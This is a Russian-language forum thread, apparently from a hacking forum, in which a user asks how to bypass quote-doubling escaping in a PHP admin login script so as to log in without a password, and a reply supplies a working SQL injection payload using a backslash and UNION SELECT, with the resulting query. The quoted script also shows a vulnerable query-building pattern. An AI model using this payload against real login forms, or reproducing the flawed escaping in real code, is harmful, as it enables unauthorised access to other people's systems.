
10.07.2012, 11:23
|
|
Banned
Регистрация: 05.05.2009
Сообщений: 1,334
Провел на форуме: 5777251
Репутация:
796
|
|
Сообщение от KeyFound!89
KeyFound!89 said:
Как обойти фильтрацию кавычки функцией eregi_replace ???
есть такой код:
$val){
$_POST[$var]=trim(eregi_replace("'","''",$val)); // экранит кавычку( вместо одной появляется две
}
...
$rez=mysql_query("select id from admins where admlogin='".$_POST["login"]."' and admpass=password('".$_POST["pass"]."');",$link);
>
логин\пасс вбиваются через форму и шлются POST'OM.
Делаю инъект в логин: login=admin' # & pass=anyparol и тут бы все хорошо, но срабатывающий erig_replace превращает select в такое:
Query select id from admins where admlogin='admin' ' #' and admpass=password('anyparol').
Исходник скрипта у меня есть и я пробовал убирать строку с фильтрацией тогда можно логиниться без пасса! Помагите пожалуйста обойти экранирование!
Т.к. используется реплейс одной одинарной кавычки на две, и если в коде нет больше никаких фильтраций и экранирований(и выключен magiq_quotes), то это легко обходится с помощью бэкслеша. Пример:
\' union select 111#
получится
select id from admins where admlogin='\'' union select 111#' and admpass=password('anyparol')
Первую кавычку мы экранируем, а вторую что подставит скрипт закроет запрос.
|
|
|